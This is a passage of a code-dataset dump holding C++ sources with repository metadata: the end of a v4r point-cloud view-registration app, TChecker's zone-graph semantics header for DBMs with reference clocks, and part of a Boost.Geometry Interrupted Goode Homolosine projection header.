pass.setFilterFieldName(\"z\");\n    pass.setInputCloud(cloud);\n    pass.setKeepOrganized(true);\n    pass.filter(*cloud_filtered);\n\n    view_reg.addView(cloud_filtered);\n  }\n\n  view_reg.buildGraph();\n  view_reg.compute_mst();\n\n  const auto abs_poses = view_reg.getAbsolutePoses();\n\n  if (save_pose) {\n    for (size_t i = 0; i < files_intern.size(); i++) {\n      const bf::path full_path = input_dir / files_intern[i];\n      pcl::PointCloud<PointT>::Ptr cloud(new pcl::PointCloud<PointT>);\n      pcl::io::loadPCDFile(full_path.string(), *cloud);\n      v4r::setCloudPose(abs_poses.at(i), *cloud);\n      pcl::io::savePCDFileBinaryCompressed(full_path.string(), *cloud);\n    }\n  }\n}\n", "meta": {"hexsha": "836b92d6a91125ebdc887b3e41f62fec7d4d75b7", "size": 13102, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "apps/FeatureBasedViewRegistrationByMST/main.cpp", "max_stars_repo_name": "v4r-tuwien/v4r", "max_stars_repo_head_hexsha": "ff3fbd6d2b298b83268ba4737868bab258262a40", "max_stars_repo_licenses": ["BSD-1-Clause", "BSD-2-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2021-02-22T11:36:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-20T11:31:08.000Z", "max_issues_repo_path": "apps/FeatureBasedViewRegistrationByMST/main.cpp", "max_issues_repo_name": "v4r-tuwien/v4r", "max_issues_repo_head_hexsha": "ff3fbd6d2b298b83268ba4737868bab258262a40", "max_issues_repo_licenses": ["BSD-1-Clause", "BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "apps/FeatureBasedViewRegistrationByMST/main.cpp", "max_forks_repo_name": "v4r-tuwien/v4r", "max_forks_repo_head_hexsha": "ff3fbd6d2b298b83268ba4737868bab258262a40", "max_forks_repo_licenses": ["BSD-1-Clause", "BSD-2-Clause"], "max_forks_count": 3.0, "max_forks_repo_forks_event_min_datetime": "2018-10-19T10:39:23.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-07T13:39:03.000Z", "avg_line_length": 36.8033707865, "max_line_length": 119, "alphanum_fraction": 0.6814226836, "num_tokens": 3368, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5428632831725052, "lm_q2_score": 0.2720245451923523, "lm_q1q2_score": 0.1476721377066279}}
{"text": "/*\n * This file is a part of the TChecker project.\n *\n * See files AUTHORS and LICENSE for copyright details.\n *\n */\n\n#ifndef TCHECKER_REFZG_SEMANTICS_HH\n#define TCHECKER_REFZG_SEMANTICS_HH\n\n#include <boost/dynamic_bitset.hpp>\n\n#include \"tchecker/basictypes.hh\"\n#include \"tchecker/dbm/db.hh\"\n#include \"tchecker/variables/clocks.hh\"\n\n/*!\n \\file semantics.hh\n \\brief Operational semantics on DBMs with reference clocks\n */\n\nnamespace tchecker {\n\nnamespace refzg {\n\n/*!\n \\class semantics_t\n \\brief Semantics for zone graphs implemented by DBMs with reference clocks\n */\nclass semantics_t {\npublic:\n  /*!\n  \\brief Destructor\n   */\n  virtual ~semantics_t() = default;\n\n  /*!\n  \\brief Compute initial zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for rdbm\n  \\param delay_allowed : set of reference clocks allowed to delay\n  \\param invariant : invariant\n  \\param spread : reference clocks spread\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is tight and consistent.\n  the size of delay_allowed is the number of reference clocks in r\n  \\post dbm is the initial zone w.r.t. delay_allowed, invariant and spread\n  \\return STATE_OK if the resulting DBM is not empty, other values if the\n  resulting DBM is empty (see details in implementations)\n   */\n  virtual tchecker::state_status_t initial(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n                                           boost::dynamic_bitset<> const & delay_allowed,\n                                           tchecker::clock_constraint_container_t const & invariant) = 0;\n\n  /*!\n  \\brief Compute next zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for rdbm\n  \\param src_delay_allowed : set of reference clocks allowed to delay in source\n  state\n  \\param src_invariant : invariant in source state\n  \\param sync_ref_clocks : set of reference clocks to synchronize\n  \\param guard : transition guard\n  \\param clkreset : transition reset\n  \\param tgt_delay_allowed : set of reference clocks allowed to delay in target\n  state\n  \\param tgt_invariant : invariant in target state\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is tight and consistent.\n  the size of src_delay_allowed is the number of reference clocks in r.\n  the size of sync_ref_clocks is the number of reference clocks in r.\n  the size of tgt_delay_allowed is the number of reference clocks in r\n  \\post rdbm has been updated to its strongest postcondition w.r.t. src_delay_allowed,\n  src_invariant, sync_ref_clocks, guard, clkreset, tgt_delay_allowed and tgt_invariant\n  \\return STATE_OK if the resulting DBM is not empty, other values if the resulting\n  DBM is empty (see details in implementations)\n   */\n  virtual tchecker::state_status_t\n  next(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n       boost::dynamic_bitset<> const & src_delay_allowed, tchecker::clock_constraint_container_t const & src_invariant,\n       boost::dynamic_bitset<> const & sync_ref_clocks, tchecker::clock_constraint_container_t const & guard,\n       tchecker::clock_reset_container_t const & clkreset, boost::dynamic_bitset<> const & tgt_delay_allowed,\n       tchecker::clock_constraint_container_t const & tgt_invariant) = 0;\n};\n\n/*!\n\\class standard_semantics_t\n\\brief Standard semantics: each transition in the zone graph consists of a delay\n(if allowed) followed by a transition from the timed automaton\n*/\nclass standard_semantics_t final : public tchecker::refzg::semantics_t {\npublic:\n  /*!\n  \\brief Destructor\n  */\n  virtual ~standard_semantics_t() = default;\n\n  /*!\n  \\brief Compute initial zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for rdbm\n  \\param delay_allowed : set of reference clocks allowed to delay\n  \\param invariant : invariant\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is tight and consistent.\n  the size of delay_allowed is the number of reference clocks in r (checked\n  by assertion)\n  \\post rdbm is the zone that only containts the zero valuation\n  \\return tchecker::STATE_OK if the resulting DBM is not empty. Otherwise,\n  tchecker::STATE_CLOCKS_SRC_INVARIANT_VIOLATED if the zero valuation does not\n  satisfy invariant.\n  */\n  virtual tchecker::state_status_t initial(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n                                           boost::dynamic_bitset<> const & delay_allowed,\n                                           tchecker::clock_constraint_container_t const & invariant);\n\n  /*!\n  \\brief Compute next zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for dbm\n  \\param src_delay_allowed : set of reference clocks allowed to delay in source\n  state\n  \\param src_invariant : invariant in source state\n  \\param sync_ref_clocks : set of reference clocks to synchronize\n  \\param guard : transition guard\n  \\param clkreset : transition reset\n  \\param tgt_delay_allowed : set of reference clocks allowed to delay in target\n  state\n  \\param tgt_invariant : invariant in target state\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is not tight and consistent.\n  the size of src_delay_allowed is the number of reference clocks in r\n  (checked by assertion).\n  The size of sync_ref_clocks is the number of reference clocks in r (checked by\n  assertion).)\n  The size of tgt_delay_allowed is the number of reference clocks in r (checked\n  by assertion).\n  \\post rdbm has been delayed (only reference clocks which are allowed in\n  src_delay_allowed), then intersected with src_invariant, then all reference\n  clocks in sync_ref_clocks have been synchronized in rdbm, then rdbm has been\n  intersected with guard, then dbm has been reset w.r.t clkreset, then\n  intersected with tgt_invariant\n  \\return tchecker::STATE_OK if the resulting DBM is not empty. Otherwise,\n  tchecker::STATE_CLOCKS_SRC_INVARIANT_VIOLATED if intersection with src_invariant\n  result in an empty zone, tchecker::STATE_CLOCKS_SYNC_EMPTY if synchronization\n  of reference clocks in sync_ref_clocks yield an empty zone,\n  tchecker::STATE_CLOCKS_GUARD_VIOLATED if intersection with guard result in an\n  empty zone, tchecker::STATE_EMPTY_SYNC if synchronization of reference clocks\n  result in an empty zone, tchecker::STATE_CLOCKS_TGT_INVARIANT_VIOLATED if\n  intersection with tgt_invariant result in an empty zone\n  */\n  virtual tchecker::state_status_t\n  next(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n       boost::dynamic_bitset<> const & src_delay_allowed, tchecker::clock_constraint_container_t const & src_invariant,\n       boost::dynamic_bitset<> const & sync_ref_clocks, tchecker::clock_constraint_container_t const & guard,\n       tchecker::clock_reset_container_t const & clkreset, boost::dynamic_bitset<> const & tgt_delay_allowed,\n       tchecker::clock_constraint_container_t const & tgt_invariant);\n};\n\n/*!\n\\class elapsed_semantics_t\n\\brief elapsed semantics: each transition in the zone graph consists of a\ntransition from the automaton, followed by a delay (if allowed)\n*/\nclass elapsed_semantics_t final : public tchecker::refzg::semantics_t {\npublic:\n  /*!\n  \\brief Destructor\n  */\n  virtual ~elapsed_semantics_t() = default;\n\n  /*!\n  \\brief Compute initial zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for rdbm\n  \\param delay_allowed : set of reference clocks allowed to delay\n  \\param invariant : invariant\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is not tight and consistent.\n  the size of delay_allowed is the number of reference clocks in r (checked\n  by assertion))\n  \\post rdbm is the zone that contains all the time successors of the zero\n  valuation (for reference clocks that are allowed to delay in delay_allowed),\n  and that satisfy invariant\n  \\return tchecker::STATE_OK if the resulting DBM is not empty. Otherwise,\n  tchecker::STATE_CLOCKS_SRC_INVARIANT_VIOLATED if the (time successors of the)\n  zero valuation does not satisfy invariant.\n  */\n  virtual tchecker::state_status_t initial(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n                                           boost::dynamic_bitset<> const & delay_allowed,\n                                           tchecker::clock_constraint_container_t const & invariant);\n\n  /*!\n  \\brief Compute next zone with reference clocks\n  \\param rdbm : a DBM\n  \\param r : reference clocks for rdbm\n  \\param src_delay_allowed : set of reference clocks allowed to delay in source\n  state\n  \\param src_invariant : invariant in source state\n  \\param sync_ref_clocks : set of reference clocks to synchronize\n  \\param guard : transition guard\n  \\param clkreset : transition reset\n  \\param tgt_delay_allowed : set of reference clocks allowed to delay in target\n  state\n  \\param tgt_invariant : invariant in target state\n  \\pre rdbm is not nullptr (checked by assertion).\n  rdbm is a r.size()*r.size() array of difference bounds.\n  rdbm is not tight and consistent.\n  the size of src_delay_allowed is the number of reference clocks in r\n  (checked by assertion).\n  The size of sync_ref_clocks is the number of reference clocks in r (checked by\n  assertion).)\n  The size of tgt_delay_allowed is the number of reference clocks in r (checked\n  by assertion).\n  \\post rdbm has been intersected with src_invariant, then all reference clocks\n  in sync_ref_clocks have been synchronized in rdbm, then rdbm has been\n  intersected with guard, then rdbm has been reset w.r.t clkreset, then\n  intersected with tgt_invariant, then rdbm has been delayed (only reference\n  clocks that are allowed in tgt_delay_allowed) and intersected wth\n  tgt_invariant again\n  \\return tchecker::STATE_OK if the resulting DBM is not empty. Otherwise,\n  tchecker::STATE_CLOCKS_SRC_INVARIANT_VIOLATED if intersection with src_invariant\n  result in an empty zone, tchecker::STATE_CLOCKS_EMPTY_SYNC if synchronization\n  of reference clocks in sync_ref_clocks yields an empty zone,\n  tchecker::STATE_CLOCKS_GUARD_VIOLATED if intersection with guard result in an\n  empty zone, tchecker::STATE_EMPTY_SYNC if synchronization of reference clocks\n  result in an empty zone, tchecker::STATE_CLOCKS_TGT_INVARIANT_VIOLATED if\n  intersection with tgt_invariant result in an empty zone\n  */\n  virtual tchecker::state_status_t\n  next(tchecker::dbm::db_t * rdbm, tchecker::reference_clock_variables_t const & r,\n       boost::dynamic_bitset<> const & src_delay_allowed, tchecker::clock_constraint_container_t const & src_invariant,\n       boost::dynamic_bitset<> const & sync_ref_clocks, tchecker::clock_constraint_container_t const & guard,\n       tchecker::clock_reset_container_t const & clkreset, boost::dynamic_bitset<> const & tgt_delay_allowed,\n       tchecker::clock_constraint_container_t const & tgt_invariant);\n};\n\n/*!\n \\brief type of semantics\n*/\nenum semantics_type_t {\n  STANDARD_SEMANTICS, /*!< see tchecker::refzg::standard_semantics_t */\n  ELAPSED_SEMANTICS,  /*!< see tchecker::refzg::elapsed_semantics_t */\n};\n\n/*!\n \\brief Zone semantics factory\n \\param semantics_type : type zone graph semantics\n \\return A zone semantics over DBMs with reference clocks of type semantics\n \\note the returned semantics must be deallocated by the caller\n \\throw std::invalid_argument : if semantics is unknown\n*/\ntchecker::refzg::semantics_t * semantics_factory(enum tchecker::refzg::semantics_type_t semantics_type);\n\n} // end of namespace refzg\n\n} // end of namespace tchecker\n\n#endif // TCHECKER_REFZG_SEMANTICS_HH\n", "meta": {"hexsha": "b14ea7df7dd71c7c29f51fc3d6c496750d96af8c", "size": 11836, "ext": "hh", "lang": "C++", "max_stars_repo_path": "include/tchecker/refzg/semantics.hh", "max_stars_repo_name": "mukherjee-sayan/tchecker", "max_stars_repo_head_hexsha": "c4f37a479a7273c15fc45ccb9741984e72036f2e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "include/tchecker/refzg/semantics.hh", "max_issues_repo_name": "mukherjee-sayan/tchecker", "max_issues_repo_head_hexsha": "c4f37a479a7273c15fc45ccb9741984e72036f2e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "include/tchecker/refzg/semantics.hh", "max_forks_repo_name": "mukherjee-sayan/tchecker", "max_forks_repo_head_hexsha": "c4f37a479a7273c15fc45ccb9741984e72036f2e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2022-03-11T10:01:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T10:01:27.000Z", "avg_line_length": 44.6641509434, "max_line_length": 119, "alphanum_fraction": 0.7550692802, "num_tokens": 2876, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5544704649604273, "lm_q2_score": 0.26588047891687405, "lm_q1q2_score": 0.14742287276894023}}
{"text": "// Boost.Geometry - gis-projections (based on PROJ4)\r\n\r\n// Copyright (c) 2008-2015 Barend Gehrels, Amsterdam, the Netherlands.\r\n\r\n// This file was modified by Oracle on 2017, 2018.\r\n// Modifications copyright (c) 2017-2018, Oracle and/or its affiliates.\r\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle.\r\n\r\n// Use, modification and distribution is subject to the Boost Software License,\r\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n\r\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\r\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\r\n// PROJ4 is maintained by Frank Warmerdam\r\n// PROJ4 is converted to Boost.Geometry by Barend Gehrels\r\n\r\n// Last updated version of proj: 5.0.0\r\n\r\n// Original copyright notice:\r\n\r\n// Permission is hereby granted, free of charge, to any person obtaining a\r\n// copy of this software and associated documentation files (the \"Software\"),\r\n// to deal in the Software without restriction, including without limitation\r\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\r\n// and/or sell copies of the Software, and to permit persons to whom the\r\n// Software is furnished to do so, subject to the following conditions:\r\n\r\n// The above copyright notice and this permission notice shall be included\r\n// in all copies or substantial portions of the Software.\r\n\r\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\r\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\r\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\r\n// DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef BOOST_GEOMETRY_PROJECTIONS_IGH_HPP\r\n#define BOOST_GEOMETRY_PROJECTIONS_IGH_HPP\r\n\r\n#include <boost/geometry/util/math.hpp>\r\n#include <boost/shared_ptr.hpp>\r\n\r\n#include <boost/geometry/srs/projections/impl/base_static.hpp>\r\n#include <boost/geometry/srs/projections/impl/base_dynamic.hpp>\r\n#include <boost/geometry/srs/projections/impl/projects.hpp>\r\n#include <boost/geometry/srs/projections/impl/factory_entry.hpp>\r\n#include <boost/geometry/srs/projections/proj/gn_sinu.hpp>\r\n#include <boost/geometry/srs/projections/proj/moll.hpp>\r\n\r\nnamespace boost { namespace geometry\r\n{\r\n\r\nnamespace projections\r\n{\r\n    #ifndef DOXYGEN_NO_DETAIL\r\n    namespace detail { namespace igh\r\n    {\r\n            // TODO: consider replacing dynamically created projections\r\n            // with member objects\r\n            template <typename T, typename Parameters>\r\n            struct par_igh\r\n            {\r\n                boost::shared_ptr<base_v<T, Parameters> > pj[12];\r\n                T dy0;\r\n            };\r\n\r\n            /* 40d 44' 11.8\" [degrees] */\r\n            template <typename T>\r\n            inline T d4044118() { return (T(40) + T(44)/T(60.) + T(11.8)/T(3600.)) * geometry::math::d2r<T>(); }\r\n\r\n            template <typename T>\r\n            inline T d10() { return T(10) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d20() { return T(20) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d30() { return T(30) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d40() { return T(40) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d50() { return T(50) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d60() { return T(60) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d80() { return T(80) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d90() { return T(90) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d100() { return T(100) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d140() { return T(140) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d160() { return T(160) * geometry::math::d2r<T>(); }\r\n            template <typename T>\r\n            inline T d180() { return T(180) * geometry::math::d2r<T>(); }\r\n\r\n            static const double epsilon = 1.e-10; // allow a little 'slack' on zone edge positions\r\n\r\n            // Converted from #define SETUP(n, proj, x_0, y_0, lon_0)\r\n            template <template <typename, typename, typename> class Entry, typename Params, typename Parameters, typename T>\r\n            inline void do_setup(int n, Params const& params, Parameters const& par, par_igh<T, Parameters>& proj_parm,\r\n                                 T const& x_0, T const& y_0,\r\n                                 T const& lon_0)\r\n            {\r\n                // NOTE: in the original proj4 these projections are initialized\r\n                // with zeroed parameters which could be done here as well instead\r\n                // of initializing with parent projection's parameters.\r\n                Entry<Params, T, Parameters> entry;\r\n                proj_parm.pj[n-1].reset(entry.create_new(params, par));\r\n                proj_parm.pj[n-1]->mutable_params().x0 = x_0;\r\n                proj_parm.pj[n-1]->mutable_params().y0 = y_0;\r\n                proj_parm.pj[n-1]->mutable_params().lam0 = lon_0;\r\n            }\r\n\r\n            // template class, using CRTP to implement forward/inverse\r\n            template <typename T, typename Parameters>\r\n            struct base_igh_spheroid\r\n                : public base_t_fi<base_igh_spheroid<T, Parameters>, T, Parameters>\r\n            {\r\n                par_igh<T, Parameters> m_proj_parm;\r\n\r\n                inline base_igh_spheroid(const Parameters& par)\r\n                    : base_t_fi<base_igh_spheroid<T, Parameters>, T, Parameters>(*this, par)\r\n                {}\r\n\r\n                // FORWARD(s_forward)  spheroid\r\n                // Project coordinates from geographic (lon, lat) to cartesian (x, y)\r\n                inline void fwd(T lp_lon, T const& lp_lat, T& xy_x, T& xy_y) const\r\n                {\r\n                    static const T d4044118 = igh::d4044118<T>();\r\n                    static const T d20  =  igh::d20<T>();\r\n                    static const T d40  =  igh::d40<T>();\r\n                    static const T d80  =  igh::d80<T>();\r\n                    static const T d100 = igh::d100<T>();\r\n\r\n                        int z;\r\n                        if (lp_lat >=  d4044118) {          // 1|2\r\n                          z = (lp_lon <= -d40 ? 1: 2);\r\n                        }\r\n                        else if (lp_lat >=  0) {            // 3|4\r\n                          z = (lp_lon <= -d40 ? 3: 4);\r\n                        }\r\n                        else if (lp_lat >= -d4044118) {     // 5|6|7|8\r\n                               if (lp_lon <= -d100) z =  5; // 5\r\n                          else if (lp_lon <=  -d20) z =  6; // 6\r\n                          else if (lp_lon <=   d80) z =  7; // 7\r\n                          else z = 8;                       // 8\r\n                        }\r\n                        else {                              // 9|10|11|12\r\n                               if (lp_lon <= -d100) z =  9; // 9\r\n                          else if (lp_lon <=  -d20) z = 10; // 10\r\n                          else if (lp_lon <=   d80) z = 11; // 11\r\n                          else z = 12;                      // 12\r\n                        }\r\n\r\n                        lp_lon -= this->m_proj_parm.pj[z-1]->params().lam0;\r\n                        this->m_proj_parm.pj[z-1]->fwd(lp_lon, lp_lat, xy_x, xy_y);\r\n                        xy_x += this->m_proj_parm.pj[z-1]->params().x0;\r\n                        xy_y += this->m_proj_parm.pj[z-1]->params().y0;\r\n                }\r\n\r\n                // INVERSE(s_inverse)  spheroid\r\n                // Project coordinates from cartesian (x, y) to geographic (lon, lat)\r\n                inline void inv(T xy_x, T xy_y, T& lp_lon, T& lp_lat) const\r\n                {\r\n                    static const T d4044118 = igh::d4044118<T>();\r\n                    static const T d10  =  igh::d10<T>();\r\n                    static const T d20  =  igh::d20<T>();\r\n                    static const T d40  =  igh::d40<T>();\r\n                    static const T d50  =  igh::d50<T>();\r\n                    static const T d60  =  igh::d60<T>();\r\n                    static const T d80  =  igh::d80<T>();\r\n                    static const T d90  =  igh::d90<T>();\r\n                    static const T d100 = igh::d100<T>();\r\n                    static const T d160 = igh::d160<T>();\r\n                    static const T d180 = igh::d180<T>();\r\n\r\n                    static const T c2 = 2.0;\r\n                    \r\n                    const T y90 = this->m_proj_parm.dy0 + sqrt(c2); // lt=90 corresponds to y=y0+sqrt(2.0)\r\n\r\n                        int z = 0;\r\n                        if (xy_y > y90+epsilon || xy_y < -y90+epsilon) // 0\r\n                          z = 0;\r\n                        else if (xy_y >=  d4044118)       // 1|2\r\n                          z = (xy_x <= -d40? 1: 2);\r\n                        else if (xy_y >=  0)              // 3|4\r\n                          z = (xy_x <= -d40? 3: 4);\r\n                        else if (xy_y >= -d4044118) {     // 5|6|7|8\r\n                               if (xy_x <= -d100) z =  5; // 5\r\n                          else if (xy_x <=  -d20) z =  6; // 6\r\n                          else if (xy_x <=   d80) z =  7; // 7\r\n                          else z = 8;                     // 8\r\n                        }\r\n                        else {                            // 9|10|11|12\r\n                               if (xy_x <= -d100) z =  9; // 9\r\n                          else if (xy_x <=  -d20) z = 10; // 10\r\n                          else if (xy_x <=   d80) z = 11; // 11\r\n                          else z = 12;                    // 12\r\n                        }\r\n\r\n                        if (z)\r\n                        {\r\n                          int ok = 0;\r\n\r\n                          xy_x -= this->m_proj_parm.pj[z-1]->params().x0;\r\n                          xy_y -= this->m_proj_parm.pj[z-1]->params().y0;\r\n                          this->m_proj_parm.pj[z-1]->inv(xy_x, xy_y, lp_lon, lp_lat);\r\n                          lp_lon += this->m_proj_parm.pj[z-1]->params().lam0;\r\n\r\n                          switch (z) {\r\n                            case  1: ok = (lp_lon >= -d180-epsilon && lp_lon <=  -d40+epsilon) ||\r\n                                         ((lp_lon >=  -d40-epsilon && lp_lon <=  -d10+epsilon) &&\r\n                                          (lp_lat >=   d60-epsilon && lp_lat <=   d90+epsilon)); break;\r\n                            case  2: ok = (lp_lon >=  -d40-epsilon && lp_lon <=  d180+epsilon) ||\r\n                                         ((lp_lon >= -d180-epsilon && lp_lon <= -d160+epsilon) &&\r\n                                          (lp_lat >=   d50-epsilon && lp_lat <=   d90+epsilon)) ||\r\n                                         ((lp_lon >=  -d50-epsilon && lp_lon <=  -d40+epsilon) &&\r\n                                          (lp_lat >=   d60-epsilon && lp_lat <=   d90+epsilon)); break;\r\n                            case  3: ok = (lp_lon >= -d180-epsilon && lp_lon <=  -d40+epsilon); break;\r\n                            case  4: ok = (lp_lon >=  -d40-epsilon && lp_lon <=  d180+epsilon); break;\r\n                            case  5: ok = (lp_lon >= -d180-epsilon && lp_lon <= -d100+epsilon); break;\r\n                            case  6: ok = (lp_lon >= -d100-epsilon && lp_lon <=  -d20+epsilon); break;\r\n                            case  7: ok = (lp_lon >=  -d20-epsilon && lp_lon <=   d80+epsilon); break;\r\n                            case  8: ok = (lp_lon >=   d80-epsilon && lp_lon <=  d180+epsilon); break;\r\n                            case  9: ok = (lp_lon >= -d180-epsilon && lp_lon <= -d100+epsilon); break;\r\n                            case 10: ok = (lp_lon >= -d100-epsilon && lp_lon <=  -d20+epsilon); break;\r\n                            case 11: ok = (lp_lon >=  -d20-epsilon && lp_lon <=   d80+epsilon); break;\r\n                            case 12: ok = (lp_lon >=   d80-epsilon && lp_lon <=  d180+epsilon); break;\r\n                          }\r\n\r\n                          z = (!ok? 0: z); // projectable?\r\n                        }\r\n                     // if (!z) pj_errno = -15; // invalid x or y\r\n                        if (!z) lp_lon = HUGE_VAL;\r\n                        if (!z) lp_lat = HUGE_VAL;\r\n                }\r\n\r\n                static inline std::string get_name()\r\n                {\r\n                    return \"igh_spheroid\";\r\n                }\r\n\r\n            };\r\n\r\n            // Interrupted Goode Homolosine\r\n            template <typename Params, typename Parameters, typename T>\r\n            inline void setup_igh(Params const& params, Parameters& par, par_igh<T, Parameters>& proj_parm)\r\n            {\r\n                static const T d0   =  0;\r\n                static const T d4044118 = igh::d4044118<T>();\r\n                static const T d20  =  igh::d20<T>();\r\n                static const T d30  =  igh::d30<T>();\r\n                static const T d60  =  igh::d60<T>();\r\n                static const T d100 = igh::d100<T>();\r\n                static const T d140 = igh::d140<T>();\r\n                static const T d160 = igh::d160<T>();\r\n\r\n            /*\r\n              Zones:\r\n\r\n                -180            -40                       180\r\n                  +--------------+-------------------------+    Zones 1,2,9,10,11 & 12:\r\n                  |1             |2                        |      Mollweide projection\r\n                  |              |                         |\r\n                  +--------------+-------------------------+    Zones 3,4,5,6,7 & 8:\r\n                  |3             |4                        |      Sinusoidal projection\r\n                  |              |                         |\r\n                0 +-------+------+-+-----------+-----------+\r\n                  |5      |6       |7          |8          |\r\n                  |       |        |           |           |\r\n                  +-------+--------+-----------+-----------+\r\n                  |9      |10      |11         |12         |\r\n                  |       |        |           |           |\r\n                  +-------+--------+-----------+-----------+\r\n                -180    -100      -20         80          180\r\n            */\r\n                \r\n                    T lp_lam = 0, lp_phi = d4044118;\r\n                    T xy1_x, xy1_y;\r\n                    T xy3_x, xy3_y;\r\n\r\n                    // IMPORTANT: Force spherical sinu projection\r\n                    // This is required because unlike in the original proj4 here\r\n                    // parameters are used to initialize underlying projections.\r\n                    // In the original code zeroed parameters are passed which\r\n                    // could be done here as well though.\r\n                    par.es = 0.;\r\n\r\n                    // sinusoidal zones\r\n                    do_setup<sinu_entry>(3, params, par, proj_parm, -d100, d0, -d100);\r\n                    do_setup<sinu_entry>(4, params, par, proj_parm,   d30, d0,   d30);\r\n                    do_setup<sinu_entry>(5, params, par, proj_parm, -d160, d0, -d160);\r\n                    do_setup<sinu_entry>(6, params, par, proj_parm,  -d60, d0,  -d60);\r\n                    do_setup<sinu_entry>(7, params, par, proj_parm,   d20, d0,   d20);\r\n                    do_setup<sinu_entry>(8, params, par, proj_parm,  d140, d0,  d140);\r\n\r\n                    // mollweide zones\r\n                    do_setup<moll_entry>(1, params, par, proj_parm, -d100, d0, -d100);\r\n\r\n                    // y0 ?\r\n                     proj_parm.pj[0]->fwd(lp_lam, lp_phi, xy1_x, xy1_y); // zone 1\r\n                     proj_parm.pj[2]->fwd(lp_lam, lp_phi, xy3_x, xy3_y); // zone 3\r\n                    // y0 + xy1_y = xy3_y for lt = 40d44'11.8\"\r\n                    proj_parm.dy0 = xy3_y - xy1_y;\r\n\r\n                    proj_parm.pj[0]->mutable_params().y0 = proj_parm.dy0;\r\n\r\n                    // mollweide zones (cont'd)\r\n                    do_setup<moll_entry>( 2, params, par, proj_parm,   d30,  proj_parm.dy0,   d30);\r\n                    do_setup<moll_entry>( 9, params, par, proj_parm, -d160, -proj_parm.dy0, -d160);\r\n                    do_setup<moll_entry>(10, params, par, proj_parm,  -d60, -proj_parm.dy0,  -d60);\r\n                    do_setup<moll_entry>(11, params, par, proj_parm,   d20, -proj_parm.dy0,   d20);\r\n                    do_setup<moll_entry>(12, params, par, proj_parm,  d140, -proj_parm.dy0,  d140);\r\n\r\n                    // Already done before\r\n                    //par.es = 0.;\r\n            }\r\n\r\n    }} // namespace detail::igh\r\n    #endif // doxygen\r\n\r\n    /*!\r\n        \\brief Interrupted Goode Homolosine projection\r\n        \\ingroup projections\r\n        \\tparam Geographic latlong point type\r\n        \\tparam Cartesian xy point type\r\n        \\tparam Parameters parameter type\r\n        \\par Projection characteristics\r\n         - Pseudocylindrical\r\n         - Spheroid\r\n        \\par Example\r\n        \\image html ex_igh.gif\r\n    */\r\n    template <typename T, typename Parameters>\r\n    struct igh_spheroid : public detail::igh::base_igh_spheroid<T, Parameters>\r\n    {\r\n        template <typename Params>\r\n        inline igh_spheroid(Params const& params, Parameters const& par)\r\n            : 